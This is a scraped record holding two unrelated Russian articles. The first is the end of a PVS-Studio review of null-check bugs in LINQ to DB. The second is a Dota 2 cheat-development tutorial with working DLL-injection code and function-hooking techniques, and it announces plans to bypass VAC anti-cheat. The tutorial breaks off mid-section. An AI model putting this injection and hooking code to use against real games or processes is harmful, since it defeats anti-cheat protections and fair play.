case 13 : return GetDataProvider(SqlServerVersion.v2016, provider);
case 14 :
case 15 : return GetDataProvider(SqlServerVersion.v2017, provider);
default : return GetDataProvider(SqlServerVersion.v2017, provider);
}
}
}
....
}
```
А теперь взглянем на более простой пример срабатывания диагностики [V3022](https://pvs-studio.com/ru/w/v3022/) в этом проекте.
[V3022](https://pvs-studio.com/ru/w/v3022/) Expression 'table == null' is always true. LoadWithBuilder.cs 113
```
TableBuilder.TableContext GetTableContext(IBuildContext ctx, Expression path,
out Expression? stopExpression)
{
stopExpression = null;
var table = ctx as TableBuilder.TableContext;
if (table != null)
return table;
if (ctx is LoadWithContext lwCtx)
return lwCtx.TableContext;
if (table == null)
{
....
}
....
}
```
Что мы имеем? Переменная *table* дважды сравнивается с *null*. В первый раз условие проверяет переменную на неравенство с *null*. При выполнении условия происходит выход из функции. Это означает, что код ниже ветки этого условия будет выполняться только в случае, когда *table* *=* *null*. До следующей проверки переменной над ней не производится никаких действий. В итоге, когда код доходит до условия *table* *==* *null*, эта проверка всегда возвращает *true*.
Диагностика [V3022](https://pvs-studio.com/ru/w/v3022/) выдала ещё пару десятков хороших предупреждений. Не будем приводить их все в статье, но рекомендуем авторам самостоятельно проверить проект и посмотреть все предупреждения PVS-Studio.
[V3063](https://pvs-studio.com/ru/w/v3063/) A part of conditional expression is always true if it is evaluated: field.Field.CreateFormat != null. BasicSqlBuilder.cs 1255
```
protected virtual void BuildCreateTableStatement(....)
{
....
if (field.Field.CreateFormat != null)
{
if (field.Field.CreateFormat != null && field.Identity.Length == 0)
{
....
}
}
....
}
```
В фрагменте кода выше видно, что *field.Field.CreateFormat* дважды проверяется на *null*. Но в этом случае вторая проверка выполняется прямо в ветке первой проверки. Так как одна проверка уже прошла успешно, то второй раз, когда проверяемое значение не изменилось, сравнивать с *null* не требуется.
### null как смысл жизни
[V3022](https://pvs-studio.com/ru/w/v3022/) Expression 'rows' is always not null. The operator '?.' is excessive. SQLiteSqlBuilder.cs 214
```
protected override void BuildSqlValuesTable(
SqlValuesTable valuesTable,
string alias,
out bool aliasBuilt)
{
valuesTable = ConvertElement(valuesTable);
var rows = valuesTable.BuildRows(OptimizationContext.Context);
if (rows.Count == 0)
{
....
}
else
{
....
if (rows?.Count > 0)
{
....
}
....
}
aliasBuilt = false;
}
```
Анализатор сообщает нам, что в этом фрагменте кода в строке \*if (rows?.Count > 0) \*проверка на *null* излишня, так как *rows* не может быть *null* в этот момент. Разберёмся почему. Переменной *rows* присваивается результат функции *BuildRows*. Вот фрагмент этой функции:
```
internal IReadOnlyList BuildRows(EvaluationContext context)
{
if (Rows != null)
return Rows;
....
var rows = new List();
if (ValueBuilders != null)
{
foreach (var record in source)
{
....
var row = new ISqlExpression[ValueBuilders!.Count];
var idx = 0;
rows.Add(row);
....
}
}
return rows;
}
```
Так как *BuildRows* не может вернуть *null*, то, согласно анализатору, проверка на *null* избыточна. Но если бы *BuildRows* возвращала *null*, что подразумевает собой условие *rows?.Count > 0*, то ещё на моменте проверки условия *rows.Count == 0* вылетело бы исключение *NullReferenceException*. В таком случае и в этом условии нужно бы тоже сделать проверку на *null*, чтобы избежать ошибки. А пока в текущем виде код выглядит подозрительным и проверка на *null* просто излишняя.
Мы добрались до сообщения, которое заставило меня пораскинуть мозгами и провести пару проверок.
[V3042](https://pvs-studio.com/ru/w/v3042/) Possible NullReferenceException. The '?.' and '.' operators are used for accessing members of the '\_update' object SqlUpdateStatement.cs 60
```
public override ISqlTableSource? GetTableSource(ISqlTableSource table)
{
....
if (table == _update?.Table)
return _update.Table;
....
}
```
Маленький фрагмент, условие и выход из функции.
Итак, анализатор сообщает нам, что к \_*update* применяются два вида обращения. С использованием null-conditional оператора и без. Можно подумать, что условие выполнится только в том случае, когда \_*update* не равен *null* и обе части равенства одинаковы. Но. Большое и жирное 'но'.
В случае, когда *table* и \_*update* равны *null*, то \_*update?.Table* вернет *null*, что удовлетворит условию. Тогда при попытке вызвать \_*update.Table* возникнет *NullReferenceException*. Если у нас есть возможность вернуть *null*, о чем сообщает нам *ISqlTableSource?* в объявлении функции, то стоит написать\* return \_update?.Table\*, дабы избежать возникновения ошибки.
### Заключение
Проект LINQ to DB большой и сложный, отчего его проверка стала только интересней. У проекта очень большое сообщество, и нам повезло найти некоторое количество интересных предупреждений.
Если вас заинтересовало, нет ли подобного в вашей кодовой базе, можете [попробовать PVS-Studio](https://pvs-studio.com/linq-to-db-project) на своём проекте.
Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Danila Karpov. [PVS-Studio checks the code quality in the .NET Foundation projects: LINQ to DB](https://pvs-studio.com/en/blog/posts/csharp/0887/). | https://habr.com/ru/post/589771/ | null | ru | null |
# Визуализация времени возрождения Рошана
В данной статье рассматривается перехват функций графического API на примере DirectX 9 под x64 применительно к игре [Dota 2](https://store.steampowered.com/app/570/Dota_2/).
Будет подробно рассказано, как внедриться в процесс игры, как изменить поток выполнения, приведено краткое описание внедряемой логики. В конце поговорим о других возможностях для отрисовки, которые предоставляет движок.
> **Disclaimer: Автор не несет ответственности за применение вами знаний полученных в данной статье или ущерб в результате их использования. Вся информация здесь изложена только в познавательных целях. Особенно для компаний разрабатывающих MOBA, чтобы помочь им бороться с читерами. И, естественно, автор статьи ботовод, читер и всегда им был.**
В последнем предложении стоит объясниться — я за честное соревнование. Читы использую только в качестве спортивного интереса, улучшения навыков реверса, изучения работы античитов и только вне рейтинговых состязаний.
1. Вступление
-------------
Данная статья планируется как первая из цикла и дает представление о том, как можно использовать графическое API в своих целях, описывает функционал, требуемый для понимания следующей части. Вторую статью я планирую посвятить поиску указателя на список сущностей в Source 2 (также на примере Dota 2) и использовании его в связке с [Source2Gen](https://github.com/praydog/Source2Gen) для написания «дополнительной» логики (что-нибудь по типу [этого](https://www.youtube.com/watch?time_continue=3&v=6q1mtgqrDRk), скорее всего покажу «map hack» (обратите внимание на кавычки, о чем идет речь можно посмотреть на видео), либо автоматизации первой статьи). Третья статья планируется в виде написания драйвера, общение с ним (IOCTL), использование его для обхода защиты VAC (что-то похожее на [это](https://www.youtube.com/watch?v=sJdBtPosWQs)).
2. Для чего мне это понадобилось
--------------------------------
Использование графического API мне понадобилось для визуальной отладки моего бота, которого я писал для Dota 2 (визуализированная информация в реальном времени очень удобна). Я являюсь аспирантом и занимаюсь реконструированием 3D головы и морфинга при помощи снимков и камеры глубины — тема довольно интересная, но для меня не самая любимая. Так как я занимаюсь этим уже пятый год (начиная с магистратуры), я понял одно — да, я неплохо изучил данную сферу, легко изучаю статьи с методами и подходами, реализую их. Но это все, сам я могу только оптимизировать очередной изученный алгоритм, сравнить его с уже изученными и реализованными и принять решение, стоит ли его использовать в определенной задаче. На оптимизации дело заканчивается, самому придумать что-то новое не получается, что для аспирантуры очень важно (новизна исследования). Начал думать — пока есть время, можно найти новую тему. В теме уже нужно хорошо разбираться (на уровне текущей) или ее можно быстро подтянуть.
Параллельно я работал в геймдеве и это, наверное, самое интересное из того, чем можно заняться программисту (личное мнение) и очень интересовался темой AI, ботов. На тот момент было две темы, в которых я неплохо разбирался — тогда я занимался построением динамического навигационного меша (клиент-сервер) и изучением сетевой части динамического шутера. Тема с динамическим нав мешем не подходила сразу — этим я занимался в рабочее время, нужно было спрашивать разрешение на ее использование в дипломе у руководства, к тому же, тема новизны была открыта — я так же неплохо изучал и реализовывал имеющиеся подходы по статьям, но в этом не было новизны. Тема с сетевой частью динамического шутера (я планировал применять ее для взаимодействия в виртуальной реальности) снова разбивалась как о то, что я занимался этим в рабочее время, так и о новизну, можно почитать [цикл статей](https://habr.com/ru/company/pixonic/blog/359008/) от Pixonic, где сам автор говорит, что тема эта интересная, вот только подходы изобретены 30 лет назад и особо не поменялись.
Примерно в это время OpenAI выпустили своего бота. Это конечно не [5 на 5](https://openai.com/blog/openai-five/), но это было потрясающе! Я не мог выкинуть мысли попробовать сделать бота и начал первым делом думать о том, как это использовать в качестве диссертации, о новизне, как это преподнести руководителю. С новизной в этом плане все было куда лучше — наверняка можно было придумать что-то и для двух предыдущих тем, но видимо бот заставил меня думать, цепляться, развивать и искать идеи куда сильнее. Итак, я решил сделать бота 1 на 1 (сражение на миду, как у OpenAI), презентовать его руководителю, рассказать как это круто, как тут много разных подходов, математики, а самое главное — нового.
Самое необходимое, что нужно боту на первом этапе, это знание среды, в которой он находится — состояние мира я намеревался брать из памяти игры и первый этап провел за поиском указателя на список сущностей (Entity List) и интеграции с детищем praydog`а Source2Gen — эта штука генерирует структуру движка Source2, которую берет из схем. Основной идеей и предпосылкой возникновения схем является репликация состояния между клиентом и сервером, но видимо идея разработчикам очень понравилась и они распространили ее намного шире, советую почитать [тут](http://praydog.com/index.php/2015/06/24/an-analysis-of-the-source-2-engine-part-1-the-schema-system/).
У меня имелся опыт reverse engineering: делал читы для Silent Storm, делал генераторы ключей (самый интересный был для Black&White) – что такое кейген можно почитать у [DrMefistO](https://habr.com/ru/users/drmefisto/) [тут](https://habr.com/ru/post/255935/), выполнение [комбо](https://www.youtube.com/watch?v=WDO8bXVC5LY) в Cabal Online (тут все усложнялось тем, что эту игру охранял Game Guard, охранял его из ring0 (под драйвером в режиме ядра), пряча процесс (что как минимум не дает легко внедриться в него) — подробней можно почитать [тут](https://www.rf-cheats.ru/forum/showthread.php?t=201477)).
Соответственно, у меня были наработки в этой сфере, бот получил доступ к окружению за планируемое время. Удивительно, как много информации сервер доты реплицирует через дельту клиенту, например, клиент имеет информацию о любых телепортах, здоровье и его изменении у энжентов (кроме Рошана, он не реплицируется) — все это в тумане войны. Хотя я и столкнулся с некоторыми трудностями — это то, о чем я собираюсь рассказать в следующей статье.
Если у вас возник вопрос, почему я не использовал [Dota Bot Scripting](https://developer.valvesoftware.com/wiki/Dota_Bot_Scripting), отвечу выдержкой из документации:
> The API is restricted such that scripts can't cheat — units in FoW can't be queried, commands can't be issued to units the script doesn't control, etc.
Данный цикл статей ориентирован на новичков, которым интересна тема обратной разработки.
3. Зачем я об этом пишу
-----------------------
По итогу я столкнулся с множеством проблем в реализации бота со стороны ml, над которыми просидел достаточно времени, чтобы понять, что за два года до конца обучения не смогу переплюнуть мои знания и опыт в текущей теме. В Dota 2 я не играю с выхода кастомки Dota Auto Chess, свободное время теперь трачу на диплом и реверc Apex Legend (структура которой довольно схожа с Dota 2, как мне кажется). Соответственно, единственная польза от проделанной работы — публикация технической статьи на эту тему.
4. Dota 2
---------
Приведенные принципы я планирую показывать на реальной игре — Dota 2. Игра использует античит [Valve Anti Cheat](https://www.unknowncheats.me/wiki/Valve_Anti-Cheat:VAC_external_tool_detection_(and_more)). Мне очень нравится Valve как компания: очень классные продукты, директор, отношение к игрокам, Steam, Source Engine 2, … VAC. VAC работает из user-mode (ring3), он не сканирует все подряд и сравнительно с остальными античитами безобиден (от того, что делает esea (конкретно их античит) пропадает все желание пользоваться этой платформой). Я уверен, что VAC делает свою работу таким щадящим образом — не мониторит из режима ядра, не банит по железу (только аккаунт), не вставляет водяные знаки в скрины — благодаря отношению Valve к игрокам, они не устанавливают вам полноценный антивирус, как это делают Game Guard, BattlEye, Warden и прочие, потому что все это итак взламывается и в придачу тратит ресурсы процессора, которые могла бы занять игра (даже если это делается периодически), бывают ложные срабатывания (особенно у игроков на ноутбуках). Разве в PUBG, Apex, Fortnite нет wall hack, aimbot, speed hack, ESP?
Собственно о Dota 2. Игра работает с частотой [40Hz](https://dev.dota2.com/showthread.php?t=7036&page=13) (25 ms), клиент интерполирует игровое состояние, предсказание ввода не используется — если у вас случается лаг, игра — важно даже не игра, подконтрольные юниты — полностью фризится. Сервер игровой механики обменивается с клиентом сообщениями через RUDP (надежное UDP) шифрованными сообщениями, клиент в основном отправляет ввод (если вы хостите лобби, могут отправляться команды), сервер шлет реплику игрового мира и команды. Навигация осуществляется по 3D сетке, каждая ячейка имеет свой тип проходимости. Передвижение осуществляется при помощи навигации и физики (невозможность прохождения через фиссуру шейкера, коги клокверка и тд).
Состояние мира со всеми сущностями находится в памяти в чистом виде без шифрования — можно изучать память игры при помощи Cheat Engine. Обфускация к строкам и коду не применяется.
**Из графического API доступны DirectX9, DirectX11, Vulkan, OpenGL.**
5. Постановка задачи
--------------------
В игре Dota 2 есть нейтральный «древний», убийство которого дает хорошее вознаграждение: опыт, золото, возможность откатить кулдауны скилов и предметов, Аегис (вторая жизнь), зовут его Рошан. Получение Аегиса может в корне перевернуть игру или дать еще большее преимущество более сильной стороне, соответственно игроки стараются запомнить/записать время его смерти, чтобы запланировать, когда нужно собраться вместе и напасть на него, либо быть поблизости для его охраны. О смерти Рошана оповещаются все десять игроков вне зависимости от того, скрыт ли он в тумане войны. Время возрождения имеет обязательные восемь минут, после которых Рошан может появиться случайным образом в интервале трех минут.
*Задача следующая*: предоставить игроку информацию по текущему состоянию Рошана (alive-жив, ressurect\_base-возрождается базовое время, ressurect\_extra-возрождается дополнительное время).
[](https://habrastorage.org/webt/qf/ef/3s/qfef3s2h4a6l_pfageiblxwqhd8.png)
*Рисунок 1 — Условия переходов между состояниями и действия при переходе*
Для состояний, в которых Рошан мертв, выводить время окончания пребывания в данном состоянии. Переход из состояния alive в ressurect\_base должно производиться игроком в ручном режиме по кнопке. В случае обнаружения/смерти Рошана в состоянии ressurect\_extra (например вражеская команда тайком пробралась в логово и убила его), переход в состояние alive/ressurect\_base также осуществляется в ручном режиме по кнопке. Статус Рошана (и время окончания пребывания в состоянии возрождения) показывать в текстовом виде, необходимый ввод (убийство и прерывание состояния ressurect\_extra) обеспечить кнопкой.
*Рисунок 2 — Элементы интерфейса — лейбл, кнопка и холст*
Эта единственная задача, которую я смог придумать, чтобы не требовалась работа с памятью игры и имелась хоть какая-то ценность для игрока — даже для вывода каких-либо элементарных характеристик, таких как здоровья, мана, позиции сущностей, нужно их либо предварительно найти при помощи Cheat Engine в памяти игры, что необходимо дополнительно и довольно долго [объяснять](https://yougame.biz/threads/40401/), либо при помощи Source2Gen, о чем и будет следующая статья. Постановка задачи заставляет игрока следить за Рошаном, перекладывая на него много действий, что довольно неудобно — зато будет на что опереться во второй части.
Мы напишем свою injected.dll, в которой будет содержаться бизнес логика на основе MVC и внедрим ее в процесс Dota 2. Dll будет использовать нашу библиотеку silk\_way.lib, которая будет содержать логику ловушек для изменения потока выполнения, логгер, сканер памяти и структуры данных.
6. Injector
-----------
Создадим пустой проект на C++, назовем NativeInjector. Основной код находится в функции Inject.
```
void Inject(string & dllPath, string & processName) {
DWORD processId = GetProcessIdentificator(processName);
if (processId == NULL)
throw invalid_argument("Process dont existed");
HANDLE hProcess =
OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE,
FALSE, processId);
HMODULE hModule = GetModuleHandle("kernel32.dll");
FARPROC address = GetProcAddress(hModule, "LoadLibraryA");
int payloadSize = sizeof(char) * dllPath.length() + 1;
LPVOID allocAddress = VirtualAllocEx(
hProcess, NULL, payloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
SIZE_T written;
bool writeResult = WriteProcessMemory(hProcess, allocAddress,
dllPath.c_str(), payloadSize, & written);
DWORD treadId;
CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE) address,
allocAddress, 0, & treadId);
CloseHandle(hProcess);
}
```
Функция получает путь и название процесса, ищет по названию процесса его Id при помощи GetProcessIdentificator.
**функция GetProcessIdentificator**
```
DWORD GetProcessIdentificator(string & processName) {
PROCESSENTRY32 processEntry;
processEntry.dwSize = sizeof(PROCESSENTRY32);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
DWORD processId = NULL;
if (Process32First(snapshot, & processEntry)) {
while (Process32Next(snapshot, & processEntry)) {
if (!_stricmp(processEntry.szExeFile, processName.c_str())) {
processId = processEntry.th32ProcessID;
break;
}
}
}
CloseHandle(snapshot);
return processId;
}
```
Вкратце, GetProcessIdentificator пробегает по всем запущенным процессам и ищет процесс с соответствующим названием.
*Рисунок 3 — Начальное состояние процесса*
Далее непосредственное внедрение библиотеки при помощи создания удаленного потока.
**Подробное объяснение работы функции Inject**По найденному Id открывается процесс с помощью функции OpenProcess с правами на создание потока, получение информации о процессе, возможности записи и чтения. Функция GetModuleHandle извлекает модуль библиотеки kernel32, делается это для получения адреса содержащейся в ней функции LoadLibraryA функцией GetProcAddress. Назначение LoadLibrary — загрузка нашей injected.dll в указанный процесс. То есть, нам нужно вызвать LoadLibrary из интересующего нас процесса (“Dota2.exe”), для этого мы удаленно создаем новый поток при помощи CreateRemoteThread. В качестве указателя на функцию, с которой запустится новый поток, передаем адрес функции LoadLibraryA. Если посмотреть сигнатуру функции LoadLibraryA, то на вход она требует в качестве параметра путь к загружаемой библиотеке — HMODULE LoadLibraryA( LPCSTR lpLibFileName ). Доставляем этот аргумент мы следующим образом: CreateRemoteThread в параметрах после адреса стартовой функции принимает указатель на ее параметры, указатель на lpLibFileName мы формируем записью значения в память процесса функцией WriteProcessMemory (предварительно выделив память при помощи VirtualAllocEx).
*Рисунок 4 — Создание удаленного потока*
Обязательно в конце закрываем обработчик процесса функцией CloseHandle, можно также освободить выделенную память. Наш инжектор готов и ждет, когда мы напишем бизнес логику в injected.dll с библиотекой silk\_way.lib.
*Рисунок 5 — Завершение внедрения библиотеки*
Для лучшего понимания принципа можно посмотреть [видео](https://youtu.be/IBwoVUR1gt8). В завершении скажу, что безопасней является подход с прямым внедрением кода в [главный поток](https://habr.com/ru/post/251149/) процесса.
7. Silk Way
-----------
Приступим к реализации silk\_way.lib — статической библиотеки, которая содержит структуры данных, логгер, сканер памяти и ловушки. По сути я взял маленькую часть своих наработок, то, что можно объяснить проще всего, что не слишком завязано на остальное, но в тоже время решает поставленную задачу.
### 7.1. Структуры данных.
Вкратце про структуры данных: Vector – классический список, время вставки и удаления O(N), поиск O(N), память O(N); Queue – циклическая очередь, время вставки и удаления O(1), поиск отсутствует, память O(N); RBTree — красно-черное дерево, время вставки и удаления O(logN), поиск O(logN), память O(N). Я предпочитаю хешу, который используется для реализации словарей в C# и Python, красно-черные деревья, которые использует стандартная библиотека C++. Причина — хеш сложнее реализовать правильнее по сравнению с деревом (примерно каждые пол года нахожу и пробую разновидности хешей), и обычно хеш занимает больше памяти (хотя работает быстрее). Данные структуры используются для создания коллекций как в бизнес логике, так и в ловушках.
Я стараюсь не использовать структуры из стандартной библиотеки и реализую их сам, конкретно в нашем случае это не имеет значения, но это важно, если ваша dll будет подвергнута дебагу или сборка находится в открытом виде (это скорее касается коммерческих читов, что мы с вами осуждаем). Все структуры я советую писать самим, это дает вам бОльшие возможности.
Как пример, если вы делаете игру и не хотите, чтобы «школьники» сканировали ее при помощи Cheat Engine, можно сделать обертки для примитивных типов и хранить в памяти [зашифрованное](https://www.youtube.com/watch?v=QiznofE8xD4&index=2&list=PLbTYvIYxIXSj5p9qn3lcsoUc1R9KnSOIb) значение. На самом деле это не спасение, но может отсеять некоторую часть тех, кто пытается прочитать и изменить память игры.
### 7.2. Логгер
Реализован вывод в консоль и запись в файл. Интерфейс:
```
class ILogger {
protected:
ILogger(const char * _path) {
path = path;
}
public:
virtual ~ILogger() {}
virtual void Log(const char * format, ...) = 0;
protected:
const char * path;
};
```
Реализация для вывода в файл:
```
class MemoryLogger: public ILogger {
public:
MemoryLogger(const char * _path): ILogger(_path) {
fopen_s( & fptr, _path, "w+");
}
~MemoryLogger() {
fclose(fptr);
}
void Log(const char * format, ...) {
char log[MAX_LOG_SIZE];
log[MAX_LOG_SIZE - 1] = 0;
va_list args;
va_start(args, format);
vsprintf_s(log, MAX_LOG_SIZE, format, args);
va_end(args);
fprintf(fptr, log);
}
protected:
FILE * fptr;
};
```
Реализация для вывода в консоль однотипна. Если мы хотим использовать логирование, необходимо определить интерфейс ILogger\*, объявить нужный логгер, вызвать функцию Log c требуемым форматом, например:
```
ILogger* logger = new MemoryLogger(filename);
logger->Log("(%llu)%s: %d\n", GetCurrentThreadId(), "EnumerateThread result",
result);
```
### 7.3. Сканер
Сканер занимается тем, что выводит значение памяти, на который указывает переданный указатель и производит сравнение с образцом в памяти. Функционал сравнения с паттерном будет рассмотрен позже.
Интерфейс:
```
class IScanner {
protected:
IScanner() {}
public:
virtual ~IScanner() {}
virtual void PrintMemory(const char * title, unsigned char * memPointer,
int size) = 0;
};
```
Реализация заголовочного файла:
```
class FileScanner : public IScanner {
public:
FileScanner(const char* _path) : IScanner() {
fopen_s(&fptr, _path, "w+");
}
~FileScanner() {
fclose(fptr);
}
void PrintMemory(const char* title, unsigned char* memPointer, int size);
protected:
FILE* fptr;
};
```
Реализация файла источника:
```
void FileScanner::PrintMemory(const char* title, unsigned char* memPointer,
int size) {
fprintf(fptr, "%s:\n", title);
for (int i = 0; i < size; i++)
fprintf(fptr, "%x ", (int)(*(memPointer + i)));
fprintf(fptr, "\n", title);
}
```
Для использования необходимо определить интерфейс IScanner\*, объявить нужный сканер и вызвать функцию PrintMemory, где задать титул, указатель и длину, например:
```
IScanner* scan = new ConsoleScanner();
scan->PrintMemory("source orig", (unsigned char*)source, 30);
```
### 7.4. Ловушки
Самая интересная часть библиотеки silk\_way.lib. Ловушки (hook) служат для того, чтобы изменять поток выполнения программы. Создадим исполняемый проект с названием Sandbox.
**Класс Device будет нашим манекеном для исследований работы ловушек.**
```
class Unknown {
protected:
Unknown() {}
public:
~Unknown() {}
virtual HRESULT QueryInterface() = 0;
virtual ULONG AddRef(void) = 0;
virtual ULONG Release(void) = 0;
};
class Device : public Unknown {
public:
Device() : Unknown() {}
~Device() {}
virtual HRESULT QueryInterface() {
return 0;
}
virtual ULONG AddRef(void) {
return 0;
}
virtual ULONG Release(void) {
return 0;
}
virtual int Present() {
cout << "Present()" << " " << i << endl;
return i;
}
virtual void EndScene(int j) {
cout << "EndScene()" << " " << i << " " << j << endl;
}
void Dispose() {
cout << "Dispose()" << " " << i << endl;
}
public:
int i;
};
```
Класс Device наследуется от интерфейса IUnknown, наша задача перехватить вызов функций Present и EndScene любого экземпляра Device, в приемнике вызвать оригинальные функции. Мы не знаем места в коде, где и зачем вызываются эти функции, в каком потоке.
Смотря на функции Present и EndScene видно, что они виртуальные. Виртуальные функции нужны для того, чтобы переопределять поведение родительского класса. Виртуальные функций, как и не виртуальные, представляют из себя указатель на память, в которой записаны операционные коды (opcode) и значения аргументов. Так как виртуальные функции отличаются у наследников и родителей, они имеют разные указатели (это совершенно разные функции) и хранятся в Таблице виртуальных методов (VMT). Эта таблица хранится в памяти и представляет собой указатель на указатель класса, найдем ее для Device:
```
Device* device = new Device();
unsigned long long vmt = **(unsigned long long**)&device
```
VMT хранит указатели на виртуальные функции, если мы захотим наследоваться от Device, наследник будет содержать свою VMT. VMT хранит указатели на функции последовательно с шагом, равным размеру указателя (для x86 это 4 байта, для x64 – 8), соответствуя порядку определения функции в классе. Найдем указатели на функции Present и EndScene, которые располагаются на третьем и четвертом месте:
```
typedef int (*pPresent)(Device*);
typedef void (*pEndScene)(Device*, int j);
pPresent ptrPresent = nullptr;
pEndScene ptrEndScene = nullptr;
int main() {
//declare Device and find pointer vmt
ptrPresent = (pPresent)(*(unsigned long long*)(vmt + 8 * 3));
ptrEndScene = (pEndScene)(*(unsigned long long*)(vmt + 8 * 4));
}
```
Важно также то, что указатель на метод класса должен первым аргументом содержать ссылку на экземпляр класса. В C++, С# это прячется от нас, а компилятор об этом знает — в Python явно указывается self первым параметром в методе класса. Подробней о соглашение о вызове (calling convention) [тут](https://ru.wikipedia.org/wiki/%D0%A1%D0%BE%D0%B3%D0%BB%D0%B0%D1%88%D0%B5%D0%BD%D0%B8%D0%B5_%D0%BE_%D0%B2%D1%8B%D0%B7%D0%BE%D0%B2%D0%B5), искать нужно thiscall.
Рассмотрим инструкцию e9 ff 3a fd ff — здесь e9 является опкодом (с мнемоникой JMP), который говорит процессору изменить указатель на инструкцию (EIP для x86, RIP для x64), прыгнуть от текущего адреса на FFFD3AFF (4294785791). Стоит также отметить, что в памяти числа хранятся «наоборот». Функции имеют пролог и эпилог и хранятся в секции .code. Давайте посмотрим, что хранится у нас по указателю на функцию Present при помощи сканера:
```
IScanner* scan = new ConsoleScanner();
scan->PrintMemory("Present", (unsigned char*)ptrPresent, 30);
```
В консоли видим:
```
Present:
48 89 4c 24 8 48 83 ec 28 48 8d 15 40 4a 0 0 48 8b d 71 47 0 0 e8 64 10 0 0 48 8d
```
Чтобы разобраться в наборе этих кодов можно посмотреть [таблицу](http://ref.x86asm.net/coder64.html#xE9), либо использовать имеющиеся дизассемблеры. Мы возьмем готовый дизассемблер — [hde](https://forum.tuts4you.com/topic/9426-hacker-disassembler-engine-source-code/)(hacker disassembler engine). Также для сравнения можно глянуть на [distorm](https://github.com/gdabah/distorm) и [capstone](https://github.com/aquynh/capstone). Передайте указатель на функцию любому дизассемблеру и он скажет, что за опкоды в ней используются, значения аргументов и прочее.
#### 7.4.1 Opcode Hook
Теперь мы готовы перейти непосредственно к ловушкам. Мы рассмотрим Opcode Hook и Hardware Breakpoint. Самые [распространенные ловушки](http://www.rohitab.com/discuss/topic/41855-tutorial-the-different-ways-of-hooking/), которые я советую реализовать и поизучать.
Наверное самой часто используемой и простой ловушкой является Opcode Hook (в статье с перечислением ловушек она называется Byte patching) — заметьте, она легко распознается античитом при неумелом использовании (без понимания, как работает античит, без знания, какую область и секцию памяти он сканирует в текущий момент и прочего бан не замедлит себя ждать). При умелом использовании это прекрасная ловушка, быстрая и простая для понимания.
Если при чтении статьи вы параллельно воспроизводите код и находитесь в режиме Debug, переключитесь в Release — это важно.
Итак, напомню, нам необходимо перехватить выполнение функций Present и EndScene.
Реализуем перехватчики — функции, куда мы хотим передать управление:
```
int PresentHook(Device* device) {
cout << "PresentHook" << endl;
return 1;
}
void EndSceneHook(Device* device, int j) {
cout << "EndSceneHook" << " " << j << endl;
}
```
Подумаем над абстракциями, которые нам нужны. Нам требуется интерфейс, который даст возможность поставить ловушку, убрать ее и предоставить информацию о ней. Информация о ловушке должна содержать указатель на перехватываемую функцию, функцию приемник и трамплин (то, что мы перехватили функцию не значит, что она больше не нужна, мы также хотим иметь возможность использовать ее — трамплин поможет вызвать исходную перехваченную функцию).
```
#pragma pack(push, 1)
struct HookRecord {
HookRecord() {
reservationLen = 0;
sourceReservation = new void*[RESERV_SIZE]();
}
~HookRecord() {
reservationLen = 0;
delete[] sourceReservation;
}
void* source;
void* destination;
void* pTrampoline;
int reservationLen;
void* sourceReservation;
};
#pragma pack(pop)
class IHook {
protected:
IHook() {}
public:
virtual ~IHook() {}
virtual void SetExceptionHandler(
PVECTORED_EXCEPTION_HANDLER pVecExcHandler) = 0;
virtual int SetHook(void* source, void* destination) = 0;
virtual int UnsetHook(void* source) = 0;
virtual silk_data::Vector\* GetInfo() = 0;
virtual HookRecord\* GetRecordBySource(void\* source) = 0;
};
```
Интерфейс IHook предоставляет нам такие возможности. Мы хотим, чтобы когда любой экземпляр класса Device вызывал функции Present и EndScene (то есть указатель RIP переходил на эти адреса), выполнялись соответственно наши функции PresentHook и EndSceneHook.
Представим визуально, как расположены в памяти (секция .code) перехватываемая функция, приемник и трамплин в момент, когда управление заходит в перехватываемую функцию:
*Рисунок 6 — Начальное состояние памяти, исполнение заходит в перехватываемую функцию*
Теперь мы хотим, чтобы RIP (красная стрелка) перешла с source на начало destination. Как это сделать? Как уже написано выше, участок памяти source содержит опкод, который процессор выполнит, когда до source дойдет выполнение. По сути, нам нужно перепрыгнуть из одной части в другую, перенаправить указатель RIP. Как вы уже могли догадаться, есть опкод, который позволяет переводить управление из текущего адреса в желаемый, называется эта мнемоника JMP.
Прыгать можно как напрямую на нужный адрес, так и относительно текущего адреса, эти прыжки можно отыскать в табличке – ff и e9 соответственно. Создадим структуры для этих инструкций:
```
#pragma pack(push, 1)
// 32-bit relative jump.
typedef struct {
unsigned char opcode;
unsigned int delta;
} JMP_REL;
// 64-bit absolute jump.
typedef struct {
unsigned char opcode1;
unsigned char opcode2;
unsigned int dummy;
unsigned long long address;
} JMP_ABS;
#pragma pack(pop)
```
Инструкция относительного прыжка короче, но есть ограничение — unsigned int говорит о том, что прыгнуть можно в пределах 4,294,967,295, что для x64 процесса не достаточно.
Соответственно, адрес функции приемника destination может легко перевалить это значение и находиться за пределами unsigned int, что вполне возможно для x64 процесса (для x86 все намного проще и можно ограничиться как раз этим самым относительным прыжком для реализации Opcode Hook). Прямой прыжок занимает 14 байт, для сравнения относительный — лишь 5 (мы упаковали структуры, обратите внимание на #pragma pack(push, 1)).
Нам нужно переписать значение по адресу source на одну из этих прыжковых инструкций.
Перед тем, как ловить функцию, следует изучить ее — проще всего это сделать при помощи дебагера (дальше я покажу, как это делать при помощи x64dbg), или дизассемблера. Для Present мы уже вывели 30 байт от ее начала, инструкция 48 89 4c 24 8 занимает 5 байт.
Давайте реализуем относительный прыжок. Мне больше нравится этот вариант во многом из-за длины инструкции. Идея в следующем: мы заменяем первые 5 байт исходной функции, пресохранив измененные байты, заменяем их относительным прыжком на адрес инструкции, который лежит в пределах unsigned int.
*Рисунок 7 — Исходные 5 байт функции source заменяются относительным прыжком*
Что нам дает прыжок на выделенную память (фиолетовая область), как этим действием мы приблизили себя к передачи управления на destination? В выделенной нами памяти располагается прямой прыжок, который и будет перемещать RIP на destination.
*Рисунок 8 — Переключение RIP на функцию приемник*
Осталось придумать, как вызвать пойманную функцию. Нам нужно выполнить затертые инструкции и начать выполнение с нетронутой части source. Поступим следующим образом — сохраним поврежденные инструкции в начало trampoline, запомним, сколько байт было повреждено и прыгнем прямым прыжком на source + corruptLen, к «здоровым» инструкциям.
Выполнение сохраненных инструкций, затертых относительным прыжком:
